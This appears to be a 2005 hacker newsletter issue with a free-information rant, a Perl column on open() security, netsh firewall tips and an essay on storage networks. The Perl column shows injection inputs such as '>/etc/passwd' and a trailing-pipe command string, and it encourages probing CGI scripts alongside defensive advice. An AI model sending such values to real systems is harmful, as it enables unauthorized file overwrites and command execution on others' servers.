Brand is credited with uttering the following words: "Information wants to be free". These five words would later become a rallying cry for hackers, open source followers, and privacy advocates alike. The full quote goes as follows: "On the one hand information wants to be expensive, because it's so valuable. The right information in the right place just changes your life. On the other hand, information wants to be free, because the cost of getting it out is getting lower and lower all the time. So you have these two fighting against each other." -- Stewart Brand The quote describes the classic battle between hackers and so-called "vectoralists" (a name coined by Prof. McKenzie Wark). "Vectoralist" is a word that is used to describe those who control the vectors along which information is abstracted (A Hacker Manifesto v4.0, #14). To put it simply, they are the corporations/agencies/companies who seek to patent, copyright, commercialize, and privatize other people's (in this case, the hackers) intellectual property (programming code, literary works, etc.). So on one side you have the hackers who spend their time shaping and creating new ideas and technology for the sole purpose of freely sharing that information. Adversely, you have the "vectoralists" who try to commercialize the information created by the hackers, and so naturally the hackers are outraged over this and rebel against these proprietary institutions. Stewart Brand's quote and the entire philosophy behind it is far beyond the scope of this rant, but as you can see, the term "free information" has absolutely nothing to do with unauthorized access and does not justify the act of viewing or stealing confidential information. Some people need to grow up... ---[ Some Kind of Perl Column . by zshzn ] Today's Perl column once again won't be about something fancy like obfuscation, or japhs, or golf, or random crazy Perl stuff. Those lessons can be saved until I do not have anything productive to discuss. However, I have spared the reader. This column isn't just about a small nuance in the small mind of a Perl programmer. I've extended this article to a discussion of how to exploit vulnerabilities in Perl source code. Part I - File Opening File opening! Yay! Most specifically, Perl's open() command. This is one that is used poorly very often, and because of that becomes one of the leading security risks to Perl programmers. Not that I don't appreciate poor security now and then, in the code of others. Like many Perl functions, open() is versatile. It has a one argument mode, a two argument mode, a three argument mode, and heck, even a work-in-progress list argument mode. Pick your arguments! Naturally this freedom has allowed for poor misguided programmers to make bad choices. I'll start with the three argument usage. It goes something like this: open(FH, '<', 'test.txt'); Here I've opened the file test.txt (argument three) for implicit reading purposes (argument two) and assigned it to the direct filehandle FH (argument one). Now I would use that in any way I can refer to a filehandle, but most likely I would read and process the file line by line like this: while (my $line = ) { print $line; # Do something } Isn't that just peachy? Sometimes you may be tempted to just read the entire file into an array or scalar variable. Please don't. Usually you'll just be iterating over it in some form anyways, thus doubling perl's work. When you process line by line you only end up reading the file once. Maybe it doesn't usually make a difference, but it certainly is a good habit to be conservative for when you have big files to deal with. If you do happen to need to 'slurp' the file, here is an accepted way to do it. my $file = do { local $/ = undef; }; You can also do, although less wisely: $/ = undef; my $file = ; Or: my @file = ; Which would be split by newlines, which are the expected file input separater (a value stored in the special variable $/), and since that's putting it in an array you're fine. The same doesn't work with scalars, so we need to set $/ to something else. By assigning it undef, so it has no value, everything will get picked up in the read. We put that in a do loop to localize it, so we don't 'clobber' the value of $/ outside of it. We can't use 'my' on a special variable, but we can make a local copy, all restrained within the block, and the result is assigned to the scalar. Get it? Note that a filehandle is a filehandle, and can be read as long as in <>. We can close a file with close(). Otherwise it will automatically close when it goes out of scope. Additionally we can make assign a lexical filehandle that acts as a reference to the direct filehandle. This is clean. open(my $FH, '<', 'test.txt'); Let's also check to make sure the file actually opens, and return an error when it doesn't. open(my $FH, '<', 'test.txt') || die "You fucked up: $!"; $! is a special variable containing the error. These special variables sure do come in handy! Conveniently, if we exchange the tightly binding || with the loosely binding 'or', we can improve the visibility of our syntax. That's right, Perl is versatile enough to not need parentheses around a function and its arguments. open my $FH, '<', 'test.txt' or die "You fucked up: $!"; There you are. The most up to date, preferred method of opening a file in Perl. Isn't it beautiful? Now to explain some other takes on open(), and why they aren't always so great... Part II - Smash the CGI for Fun and Profit The two argument method is still very popular. This is because it predated the three line argument and is still used in most documents and tutorials and even by a lot of marginal Perl programmers who should know better. open(FH, ' for output or >> for append or +< +> for read/write or the other weird types, we can just drop the prefix entirely. perl assumes we mean to open to read in that case. open(FH, 'test.txt'); This would be fine and dandy, except we don't always know what file we're opening. Maybe we ask the user. open(FH, $user_says_so); That's horrible. Why? The user can input any file to read, anything. He also can overwrite the mode, such as by inputing '>/etc/passwd', BOOM, he's writing to it now. Your user can even get command execution. | at the back of the argument reads as a pipe (read up on |, |-, -|, for more info). Imagine if the user inputs 'px aux |'. Remember, this is Perl's open(), it can do anything! Give your user as little freedom as you can. Perhaps you think its silly, because you are the user, on your system. Yet then you're giving yourself the chance, the power, to screw yourself over accidentally. It's easy to slip up and put > when you mean < and clobber a file entirely. Also, a lot of Perl scripts end up being run on webservers, or as daemons. The user won't necessarily be you. By now you should know how to break CGI scripts with open(). How to use and abuse it. Not only can you reverse engineer anything, but too often someone will make their source open, even if their security checks have been poor. If you can find the source, great. If not, you can play around until something breaks. Try putting < or > in front of your query. Try putting a | in front or behind. Remember, maybe the input isn't validated, but you won't necessarily get output. It might take more prodding to get something useful back to you. If nothing else you can often cause denial of service to the script, if you wanted to. If you have the source, don't just look for open() calls. Look for anything that uses user input. What about exec()? eval() or popen() or system()? User input in general? Backtics? Regex? Did you know that you can execute (any) code in regex? If you allow a user to pass a variable that will be used in regex, what characters are you not allowing? If you allow brackets and question marks you allow code execution. And what about that regex in general, how weak is it? How strict on your regex data are you, what unnecessary freedom do you allow? Does the code use taint mode? Does it use strict or warnings? Does it check file type before opening them? Will it be vulnerable to rfp's null byte bug? I didn't tell you about that one? Find out yourself. What about format strings? Yes, Perl has those too, or at least a big issue with syslog(). The user input bugs are endless. Search on your own. Build a fuzzer. Here's a remarkable market for exploitation, where often code is written poorly, in a highly functional and powerful language, yet also often that code is left available or even released. Allow only as much freedom as the user needs. Rarely should the user be able to specify an open format. If the user doesn't need to be able to specify a file outside of the current directory, then don't allow it, or make it harder at least. Clean your input. It's easy to pattern match '/etc/passwd' or '..' from an inputted string. Use taint mode. Allow very little input and clean it like you would clean a fine suit. Be smart and don't get owned. You don't want to be classified with the naive group of people who use weak CGI scripts (Come on, its been happening for years! Learn, people, learn!) and get used and abused by people like me. Knowledge is power. Make it your power. I have only discussed some principally important issues and have not gone indepth into the open() command and the many uses of it. As stated above, it is highly versatile and powerful. For more information, read perldoc articles open and perlopentut. Or just learn Perl, if for no other reason that you can be a master of CGI security. So that your eyes scroll past safe code and find bugs at an alarming rate. So that you can be the one to hold power in your hands over the weaknesses of others. So that you can hack Perl. You can only lord over something by understanding it. ---[ From the Toolbox . by nabiy ] One cool tool that was introduced with Windows XP SP2 is the ability to manage your windows firewall from the netsh command prompt. The netsh command tool allows you to configure your network settings in windows from the command line either locally or remotely. It's a powerful tool that shows the firewall to be a highly configurable low maintenance client solution. Some common tasks: Display a list of programs on your exception list: netsh firewall show allowedprogram View the whole configuration: netsh firewall show config Set your firewall to a client configuration with no exceptions: netsh firewall set opmode mode = ENABLE exceptions = DISABLE Open a specific port (maybe for apache): netsh firewall set portopening TCP 80 ENABLE. Have fun exploring and I hope I've shown you something that helps you take control of your system. Do you have a tool or code fragment that you find useful in admin / sec? Do you want to share it with the community? Send your submission to newOrder.newsletter AT gmail.com along with your newOrder nick/handle. ---[ The Future of SAN's . by Byte69 ] This is a short paper on what the future of SAN's will probably be. You can look at the product road maps to most large vendors. All of them point to the same way. The servers will be getting smaller and using blade building blocks to provide higher CPU density per a foot. So we know have racks of blade server that have 96 or more systems in 42U. This cause a few problems but I will point that out later. Now for the SAN> It looks like SANs are doing a few things. First, and possibly the largest move, is going to virtual arrays. What that means is that your sever that used to have a direct attached raid 5 or something similar is now going to have a virtual one. You can see this in things like HP's Enterprise Virtual Array (EVA) or IBM's shark line of storage array's which that work along the same way. To explain how this works (I am going to us an analogy); think of your data as drops of rain in a lake. On a virtual raid 5 or what have you the lake is the EVA or virtual array. That data is spread across all spindles. The controller keeps track of where each drop of data went in the lake of raw storage. You can not point to say 5 drives and say that is where your data is because it is spread across the entire group of disk. But then you say. Well if I make a mirror raid 1 then I lose a disk I will be fine since my data is across more disk. Yes and NO. The rules still apply. A vraid 5 is like a regular raid 5 in that it can handle one disk failure and still be running fine. If you lose two disks your toast. Same with the mirror etc. Most storage is heading this direction. The next thing that seems to be happening as the IP networks get faster is the storage will be going to ISCSI or a combination of ISCSI/SATA. So the storage arrays will be hanging off the networks directly. With no true host (server) serving it up to the network. It will be all done via the storage controllers. Once this gets going it will enable the next wave of convergence. Most networks are not up to the task yet but when they do (within the next few years) it will be very interesting. What ISCSI does is encapsulate SCSI commands in TCP/IP wrappers. So all the data and storage commands are embedded in the network traffic. Then the controller interprets that and completes its task, like a read. This could enable some alternative forms of attacks against your data, like a man-in-the-middle attack, where there could be direct attacks or interception of your data going over a network. So the corresponding network security schemes will have to be improved significantly. Blade Servers> These servers are very useful and can be allocated adaptively to whatever your enterprise needs. This makes getting a lot of CPU power with a small footprint a reality. With them you can put cards into each server to attach to your SAN and use software allocate systems and SAN resources as needed. You can do this both manually or use scripting software in cron fashion to allocate this according to times/dates. A practical example would be to use this approach if you need to allocate more blades to handle a higher load at the end of month. Implementing blades is not problem free. One of the largest problems is cooling. Since they are so tightly packed proper cooling becomes difficult. When you have 96 systems in a normal 42U rack instead of 42, which was the previous max, you can imagine the heat. You will have to work with the vendor to find a solution. This will likely be done with upgraded cooling systems and ducting. Then next challenge is usually infrastructure cabling for power, SAN connections, and network connections. This is mainly a challenge when you're forced do to some network issue to use dedicated network connections where each blade has to have a fixed address. Each blade could have 4 network cables. Most blades enclosures can hold eight 1-slot blades. This gives you a total of 32 cables for just one enclosures of blades. Most enterprises are placing 6 enclosures per a rack. Which means your fully populated rack could have 192 network cables! There is a solution for this. All vendors make it so you can use integrated SAN and network switches to handle the work all the cables do. This way you can reduce the number of network and SAN cables to something more reasonable - usually 6 cables total per enclosures, 4 network and 2 SAN. So you still have redundant links all the way around but the work is handled by the switches which slide into slots on either side of the blade servers. Power is the next challenge just from the density of systems. The power is centralized but if you have limited 220V power it may limit how many blades and enclosures you can have. Convergence> This is the next tech holy grail. Technology companies want to converge all your services to IP. This includes all storage/voice/data/backup etc. In theory this will make things easier to manage. It may well be but it also create a major security headache. For this to really happen safely, so we (the tech community) don't get screwed, the protection mechanisms need to be predictive, and very adaptive. It cannot rely on the old model of signatures. It must be able to detect and adapt to this data stream in real time. HP and others are working on ways to protect networks adaptively. One promising product is adaptive enterprise. It.s used on HP's network to find and patch systems that are targets. It scans the network looking for unpatched systems. If it finds one it will attempt to patch it. If that does not work then it notifies the user last logged in. If after a few days it is not fixed it will disable the network access within the OS. It works well, sometimes to well. But at least it's being worked on. In Conclusion> Well I have touched on several subjects. I hope I have given you some food for thought. If you have questions let me know. We are all here to learn and do. -[ 0x07 . Newsletter Outro ]----------------------------------------------- We hope you have enjoyed the newsletter as much as we have enjoyed putting it together. We would like to take this opportunity to thank our newly retired admin for all the work he has put into the site and wish him the best (just remember, your leave is temporary). We've also got to take the time to mention Nitrate2k, X, and ElfQrin. You guys left a legacy - thank you. To everyone, what more can we say? Stay geeked, be smart, keep safe and we'll see you on the site! = ----------------------------------------------------------------------- = newOrder and the newOrder newsletter team do not make any guarantees expressed or implied as to the accuracy of this publication. If you do something stupid as a result of what you have read here, and something goes wrong, blame it on the freaking rain but not on us. All content is the intellectual property of the respective author(s). Copying of content without respective credit is prohibited and lame. Copyright (C) 2005 newOrder newsletter team, all rights reserved. Support the newOrder agenda, distribute freely! = ----------------------------------------------------------------------- =